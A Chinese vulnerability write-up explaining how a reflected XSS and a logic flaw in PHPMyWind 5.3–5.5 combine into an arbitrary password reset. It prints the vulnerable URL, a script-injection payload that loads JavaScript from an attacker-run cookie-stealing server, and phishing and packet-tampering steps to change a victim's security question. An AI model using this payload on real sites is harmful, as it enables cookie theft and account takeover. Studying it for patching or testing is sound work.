XSS漏洞利用---PHPMyWind 任意密码重置漏洞

时间:2024-05-24 07:09:56

【漏洞详情】

1、PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案,拥有着较大的用户群体(根据PHPMyWind官网介绍,已下载超15万次),受影响的版本是5.3-5.5版本。该“任意密码重置漏洞”联合利用了“反射型XSS漏洞”与“逻辑漏洞”。攻击者可以利用该“反射型XSS漏洞”,通过诱使受害者点击恶意链接,窃取受害者的Cookie;接着,攻击者可以利用Cookie伪造受害者身份,利用该“逻辑漏洞”,在不知道“受害者密码”的前提下,修改“受害者的密保问题”,进而达到重置受害者密码的目的。攻击思路如下:

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

【漏洞利用】

1、在网站注册2个测试账号(攻击者、受害者)。
使用PHPMyWind的注册功能注册攻击者的账号hacker以及受害者的账号testtest,通过PHPMyWind的管理后台可以发现hacker的ID为3,而受害者的ID为2,如图所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

2、攻击者和受害者都登录网站的会员中心;攻击者hacker的登录效果如图3所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

3、受害者victim的登录效果如图4所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

4、攻击者使用BurpSuite抓取“重置账号密码”的数据包;
抓取的结果如图所示,可以发现网页表单里的“提问:驾驶执照最后四位数字?”对应着报文中的“question=7”,而“回答:123”对应着报文中的“answer=123”。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

5、攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件(该反射型XSS漏洞可致受害者Cookie泄露)。
网站具有反射型XSS注入漏洞的的PoC如下:http://IP/data/api/oauth/connect.php?method=unknownmethod%3Cscript%3Ealert(1)%3C/script%3E
该PoC的执行效果如图所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

6、修改PoC为如下EXP:http://IP/data/api/oauth/connect.php?method=unknownmethod<script src=http://所搭建的盗取cookie的PHP网站IP/ReflectiveXSS.js></script>

7、攻击者hacker将该恶意链接发送给受害者,诱骗受害者进行点击,如可利用该EXP编辑恶意的电子邮件(邮件正文的“Please Click the Link”的超链接指向了该EXP),并将之发送给受害者。如下图所示受害者点击链接后将会在不知情的情况下受到恶意JS脚本的攻击,自身在PHPMyWind网站的Cookie也会被泄露给攻击者(受害者的Cookie将被传输给攻击者搭建的我们搭建的盗取cookie的PHP网站上)。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

 

8、攻击者在获得受害者Cookie后,修改步骤5的“重置账号密码”的数据包,并向网站发送数据包,以期重置受害者的“密码找回答案和密码”。
接下来,攻击者safedog对BurpSuite的数据包进行修改。在BurpSuite的Repeater面板下进行如下操作:

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

9、改包发包之后返回结果如图所示攻击者hacker成功重置了受害者testtest的“密码找回问题及答案”。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

10、攻击者利用网站的“密码找回”功能,重置受害者的登录密码,进而实现非法登录系统。攻击者访问网站的“会员中心/登录页面/找回密码”页面,以针对受害者的账号进行“找回密码”操作,如图所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

11、选择“安全问题”为“你最喜欢的餐馆名称”,填写“问题答案”为“hacker”,并点击“找回密码”按钮,如图所示(“安全问题”以及“问题答案”与上一步中数据包中的问题以及答案相对应)。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

11、此时,我们可以发现,可以通过“回答安全问题找回密码”的功能重置受害者testtest的密码,如图所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

12、接着,攻击者safedog可以利用为受害者victim重置的密码登录网站,如图所示。

XSS漏洞利用---PHPMyWind 任意密码重置漏洞

【总结】

该重置任意用户密码的漏洞是XSS漏洞与逻辑漏洞结合利用实现的,该网站存在XSS漏洞可盗取用户cookie修改密保问题,利用逻辑漏洞修改密保问题,通过密保问题修改用户密码。